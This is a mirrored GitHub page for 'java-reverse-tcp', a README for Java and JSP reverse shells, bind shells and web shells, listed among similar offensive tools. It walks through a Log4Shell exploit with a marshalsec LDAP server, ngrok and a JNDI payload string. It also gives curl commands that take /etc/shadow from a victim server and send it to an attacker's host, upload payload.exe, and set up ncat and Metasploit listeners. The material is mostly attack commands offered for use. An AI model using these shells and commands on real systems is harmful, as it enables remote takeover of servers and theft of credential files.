All Projects → ivan-sincek → java-reverse-tcp

ivan-sincek / java-reverse-tcp

Licence: MIT License
JAR, Java, and JSP shells that work on Linux OS, macOS, and Windows OS.

Programming Languages

java
68154 projects - #9 most used programming language

Projects that are alternatives of or similar to java-reverse-tcp

php-reverse-shell
PHP shells that work on Linux OS, macOS, and Windows OS.
Stars: ✭ 274 (+1342.11%)
Mutual labels:  reverse-shell, web-shell, offensive-security, ethical-hacking, reverse-tcp
YAPS
Yet Another PHP Shell - The most complete PHP reverse shell
Stars: ✭ 35 (+84.21%)
Mutual labels:  reverse-shell, web-shell, reverse-tcp
keylogger
Windows OS keylogger with a hook mechanism (i.e. with a keyboard hook procedure).
Stars: ✭ 37 (+94.74%)
Mutual labels:  offensive-security, ethical-hacking
Chimera
Chimera is a (shiny and very hack-ish) PowerShell obfuscation script designed to bypass AMSI and commercial antivirus solutions.
Stars: ✭ 463 (+2336.84%)
Mutual labels:  reverse-shell, offensive-security
Gtfobins.github.io
GTFOBins is a curated list of Unix binaries that can be used to bypass local security restrictions in misconfigured systems
Stars: ✭ 6,030 (+31636.84%)
Mutual labels:  reverse-shell, bind-shell
Shelly
Automatic Reverse Shell Generator
Stars: ✭ 38 (+100%)
Mutual labels:  reverse-shell, offensive-security
gtfo
Search for Unix binaries that can be exploited to bypass system security restrictions.
Stars: ✭ 88 (+363.16%)
Mutual labels:  reverse-shell, bind-shell
wifi-penetration-testing-cheat-sheet
Work in progress...
Stars: ✭ 149 (+684.21%)
Mutual labels:  offensive-security, ethical-hacking
LAZYPARIAH
A tool for generating reverse shell payloads on the fly.
Stars: ✭ 121 (+536.84%)
Mutual labels:  reverse-shell, ethical-hacking
penelope
Penelope Shell Handler
Stars: ✭ 291 (+1431.58%)
Mutual labels:  reverse-shell, bind-shell
xss-catcher
Simple API for storing all incoming XSS requests.
Stars: ✭ 26 (+36.84%)
Mutual labels:  offensive-security, ethical-hacking
DNSExplorer
Bash script that automates the enumeration of domains and DNS servers in the active information gathering.
Stars: ✭ 33 (+73.68%)
Mutual labels:  offensive-security, ethical-hacking
godofwar
GodOfWar - Malicious Java WAR builder with built-in payloads
Stars: ✭ 118 (+521.05%)
Mutual labels:  reverse-shell, bind-shell
reverse-ssh
Statically-linked ssh server with reverse shell functionality for CTFs and such
Stars: ✭ 548 (+2784.21%)
Mutual labels:  reverse-shell
vbsmin
VBScript minifier
Stars: ✭ 19 (+0%)
Mutual labels:  offensive-security
oscp-omnibus
A collection of resources I'm using while working toward the OSCP
Stars: ✭ 46 (+142.11%)
Mutual labels:  offensive-security
HashExploit
HashExpoit is Great Tool For Cracking Hash
Stars: ✭ 17 (-10.53%)
Mutual labels:  ethical-hacking
Galaxy-Bugbounty-Checklist
Tips and Tutorials for Bug Bounty and also Penetration Tests.
Stars: ✭ 34 (+78.95%)
Mutual labels:  ethical-hacking
shell
Python 3 Reverse Shell
Stars: ✭ 22 (+15.79%)
Mutual labels:  reverse-shell
log4j-detector
Log4J scanner that detects vulnerable Log4J versions (CVE-2021-44228, CVE-2021-45046, etc) on your file-system within any application. It is able to even find Log4J instances that are hidden several layers deep. Works on Linux, Windows, and Mac, and everywhere else Java runs, too!
Stars: ✭ 622 (+3173.68%)
Mutual labels:  log4j

Java Reverse TCP

JAR, JSP, and Java files for communicating with a remote host.

Remote host will have a full control over the client and all the underlying system commands.

Works on Linux OS and macOS with /bin/sh and Windows OS with cmd.exe. Program will automatically detect an underlying OS.

Works with both ncat and multi/handler.

Built with JDK v8 on Apache NetBeans IDE v12.2 (64-bit). All the files require Java SE v8 or greater to run.

JAR and Java files were tested with Java v8 update 282 on Windows 10 Enterprise OS (64-bit) and Kali Linux v2021.2 (64-bit).

JSP scripts were tested on Apache Tomcat Version v7.0.100 on XAMPP for Windows v7.4.3 (64-bit).

Made for educational purposes. I hope it will help!

Table of Contents

JAR Shells

Check the source code of JAR files:


Open your preferred console from /jar/ and run the following commands:

java -jar Reverse_Shell.jar 192.168.8.185 9000

java -jar Bind_Shell.jar 9000

Log4j Shells

This PoC was tested on Kali Linux v2021.4 (64-bit).

Change the IP address and port number inside the source files as necessary.

Open your preferred console from /log4j/ and run the following commands:

Compile the source file:

javac ReverseShell.java

Start a local web server from the same directory as the compiled class file (i.e. ReverseShell.class):

python3 -m http.server 9090

python3 -m http.server 9090 --directory somedirectory

Download and build LDAP server:

git clone https://github.com/mbechler/marshalsec && cd marshalsec && mvn clean package -DskipTests && cd target

Start a local LDAP server and create a reference to the compiled class file on your local web server:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:9090/#ReverseShell

Credits to the author for marshalsec!

Give the local LDAP server a public domain with ngrok:

./ngrok tcp 1389

Build the JNDI string (obfuscate it however you like):

${jndi:ldap://x.tcp.ngrok.io:13337/ReverseShell}

JSP Shells

JSP Reverse Shell

Change the IP address and port number inside the script as necessary.

Copy /jsp/jsp_reverse_shell.jsp to your projects's root directory or upload it to your target's web server.

Navigate to the file with your preferred web browser.

JSP Web Shells

Check the simple JSP web shell based on HTTP POST request.

Check the simple JSP web shell based on HTTP GET request. You must URL encode your commands.

JSP File Upload/Download Script

Check the simple JSP file upload/download script based on HTTP POST request for file upload and HTTP GET request for file download.

When downloading a file, you should URL encode the file path, and specify name of the output file.

Case 1: Upload the Script to the Victim’s Server

Navigate to the script on the victim's server with your preferred web browser, or use cURL from you PC.

Upload a file to the victim's server web root directory from your PC:

curl -s -k -X POST https://victim.com/files.jsp -F file=@/root/payload.exe

Download a file from the victim's PC to your PC:

curl -s -k -X GET https://victim.com/files.jsp?file=/etc/shadow -o shadow

If you use reverse shell and you have elevated your initial privileges, this script might not have the same privileges as your shell. To download a certain file, you might need to copy the file to the web root directory and give it necessary read permissions.

Case 2: Upload the Script to Your Server

From your JSP reverse shell, run the following cURL commands.

Upload a file from the victim's PC to your server web root directory:

curl -s -k -X POST https://your-server.com/files.jsp -F file=@/etc/shadow

Download a file from your PC to the victim's PC:

curl -s -k -X GET https://your-server.com/files.jsp?file=/root/payload.exe -o payload.exe

curl -s -k -X GET https://your-server.com/payload.exe -o payload.exe

Set Up a Listener

To set up a listener, open your preferred console on Kali Linux and run one of the examples below.

Set up ncat listener:

ncat -nvlp 9000

Set up multi/handler listener:

msfconsole -q

use exploit/multi/handler

set PAYLOAD windows/shell_reverse_tcp

set LHOST 192.168.8.185

set LPORT 9000

exploit

Images

Reverse Shell

Figure 1 - Reverse Shell

Ncat

Figure 2 - Ncat

Note that the project description data, including the texts, logos, images, and/or trademarks, for each open source project belongs to its rightful owner. If you wish to add or remove any projects, please contact us at [email protected].